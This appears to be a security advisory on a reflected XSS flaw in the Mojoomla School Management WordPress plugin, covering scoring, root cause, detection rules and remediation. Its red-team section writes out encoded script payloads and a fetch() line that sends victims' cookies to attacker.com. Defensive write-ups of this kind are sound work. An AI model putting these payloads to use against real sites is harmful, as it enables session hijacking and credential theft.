CVE-2025-47574

Executive Summary

CVE-2025-47574 is a reflected Cross-Site Scripting (XSS) vulnerability in the Mojoomla School Management plugin for WordPress, affecting versions up to and including 92.0.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. No public exploit code or patch is currently available, making this a high-priority issue for organizations using the affected plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations should verify the integrity of their plugin installations and monitor for any unauthorized modifications. Since no patch exists, the supply chain risk is elevated, and users should consider disabling the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact may extend to other components
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: High. Although EPSS is low, the lack of a patch and the widespread use of WordPress make this a significant risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability exists in the School Management plugin’s handling of user-supplied parameters in URL queries. When a user clicks a specially crafted link, the plugin reflects the malicious input without proper sanitization or encoding, allowing the attacker’s script to execute in the victim’s browser context.

Root Cause: The plugin fails to escape or validate input parameters before embedding them in the HTML response. This is a classic reflected XSS flaw, typically found in search fields, error messages, or other dynamic content areas.

Attack Flow:

1. Attacker crafts a malicious URL containing JavaScript payload in a vulnerable parameter (e.g., ?search=<script>alert('XSS')</script>).
2. Victim clicks the link (e.g., via phishing email or social engineering).
3. The plugin processes the request and reflects the payload in the response without sanitization.
4. The victim’s browser executes the injected script, which can steal cookies, redirect to malicious sites, or perform actions on behalf of the user.

WordPress Ecosystem Context: This is a WordPress plugin vulnerability. The attack surface is limited to sites running the School Management plugin. No server-side compromise occurs; the impact is client-side.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described below. A patched version would properly escape output using WordPress functions like esc_html() or esc_attr().

Vulnerable Code (PHP):

<?php
// Vulnerable: directly echoes user input
$search = $_GET['search'];
echo "<div>Search results for: " . $search . "</div>";
?>

Patched Code (Hypothetical):

<?php
// Patched: escape output
$search = sanitize_text_field($_GET['search']);
echo "<div>Search results for: " . esc_html($search) . "</div>";
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with School Management plugin <= 92.0.0
• Ability to craft and deliver a malicious link

Exploit Steps:

1. Identify a vulnerable parameter (e.g., search, q, s).
2. Craft a payload: <script>alert(document.cookie)</script>.
3. Encode the payload for URL: %3Cscript%3Ealert(document.cookie)%3C/script%3E.
4. Deliver the link: http://target.com/?search=%3Cscript%3Ealert(document.cookie)%3C/script%3E.
5. When the victim clicks, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for suspicious parameters containing <script>, onerror, onload, or encoded equivalents.
• Use WAF rules to block reflected XSS patterns.

Honeypot:

• Deploy a decoy WordPress instance with the vulnerable plugin to capture attacker behavior.

Lab Setup:

1. Install WordPress and the School Management plugin (v92.0.0) in a sandboxed environment.
2. Use a tool like Burp Suite or OWASP ZAP to test parameters.
3. Verify XSS by observing script execution in a browser.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URLs containing ?search=<script> or similar patterns.
  • Outbound connections to attacker-controlled domains from victim browsers.
• File IOCs:
  • Modified plugin files (e.g., school-management.php) containing injected code.
• Log IOCs:
  • Web server logs showing GET /?search=%3Cscript%3E with non-standard user agents.

Detection Engineering

YARA Rule

rule CVE_2025_47574_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Mojoomla School Management plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-47574"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $param1 = "?search="
        $param2 = "?q="
        $param3 = "?s="
    condition:
        any of ($xss*) and any of ($param*)
}

Sigma Rule

title: Reflected XSS Attempt Against School Management Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects reflected XSS payloads in HTTP requests to School Management plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-query|contains:
            - '?search='
            - '?q='
            - '?s='
    condition: selection
falsepositives:
    - Legitimate use of search terms containing these strings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47574 Reflected XSS Attempt"; flow:to_server; content:"GET"; http_method; content:"?search="; http_uri; content:"<script>"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block reflected XSS patterns.
3. Educate users about phishing links and suspicious URLs.

Long-Term Fix:

• Apply input validation and output encoding using WordPress functions (esc_html(), esc_attr(), sanitize_text_field()).
• Monitor the vendor’s website for an official patch.

Workaround:

• Use a security plugin like Wordfence to add virtual patching.

Valters IT